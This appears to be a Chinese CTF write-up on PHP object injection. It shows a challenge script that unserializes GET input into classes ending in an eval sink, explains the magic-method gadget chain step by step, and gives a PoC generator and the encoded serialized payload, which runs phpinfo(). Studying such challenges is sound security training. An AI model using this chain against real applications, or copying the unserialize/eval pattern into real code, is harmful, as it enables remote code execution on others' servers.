<?php
class Tiger{
public $string;
protected $var;
public function __toString(){
return $this->string;
}
public function boss($value){
@eval($value);
}
public function __invoke(){
$this->boss($this->var);
}
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function();
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
echo "Welcome to ".$this->head."<br>";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;
}
}
if(isset($_GET['zoo'])){
@unserialize($_GET['zoo']);
}
else{
$a = new Monkey;
echo "hint in hint.php!";
}
?>
一看是反序列化,找切入点
只有Monkey中有wakeup函数,所以以Monkey类作为切入点
确定$this->head
当我们传入一个序列化的monkey对象,反序列化时首先触发wakeup中的preg_match,preg_match函数会将第二个参数当作字符串来对待,所以当$this->head为一个对象的时候,就会触发相应对象的tostring方法
__tostring() 当对象被当作字符串对待是会被自动调用
比如 echo object
现在有两个对象有tostring方法,分别是Elephant和Tiger,选择哪个呢,我们的目的是进入boss函数执行命令,可以看到Tiger的tostring方法只是返回一个变量没啥用,所以就选择让$this->head = new Elephant();
此时就会执行$this->nice->nose;
确定$nice
我们目的是一步步逼近boss函数
__get()魔法方法,什么时候会被调用
访问类中的私有属性时(private)
访问类中不存在的属性时
https://jingyan.baidu.com/article/e5c39bf515393539d76033ce.html
如果让$nice = new Lion()
那么此时$this->nice->nose;就相当于$Elephant->new Lion()->nose
我们可以看到lion对象是没有nose属性的,所以当要访问lion的nose属性时就会调用__get方法
所以尝试让$nice = new Lion(),因为这样就可以跳转执行Lion的__get方法了
此时就会执行$function = $this->tail; return $function();
确定$tail
我们目的是一步步逼近boss函数
__invoke()魔法方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
比如
$a =new Tiger();
$a(); //这个时候就会调用__invoke()
我们可以让$tail=new Tiger(),这个时候$function就是Tiger对象
下一步对象被当做函数来执行就会调用Tiger对象的invoke方法
此时就会执行$this->boss($this->var);
确定$var
可以看到boss函数就是执行$this->var
那么我们就让$var = 'phpinfo;'
总结大概就是这样
head= new elephant
nice = new lion
tail = new tiger
var = phpinfo()
构造poc
<?php
class Monkey{
public $head;
public $hand;
function __construct(){
$this -> head = new Elephant();
}
}
class Elephant{
public $nose;
public $nice;
function __construct(){
$this -> nice = new Lion();
}
}
class Lion{
public $tail;
function __construct(){
$this -> tail = new Tiger();
}
}
class Tiger{
public $string;
protected $var = 'phpinfo();';
}
$a = new Monkey();
$b = urlencode(serialize($a));//urlencode是为了让%00打印出来,$b=O%3A6%3A"Monkey"%3A2%3A{s%3A4%3A"head"%3BO%3A8%3A"Elephant"%3A2%3A{s%3A4%3A"nose"%3BN%3Bs%3A4%3A"nice"%3BO%3A4%3A"Lion"%3A1%3A{s%3A4%3A"tail"%3BO%3A5%3A"Tiger"%3A2%3A{s%3A6%3A"string"%3BN%3Bs%3A6%3A"%00*%00var"%3Bs%3A10%3A"phpinfo()%3B"%3B}}}s%3A4%3A"hand"%3BN%3B}
print "$b";
$a如下图所示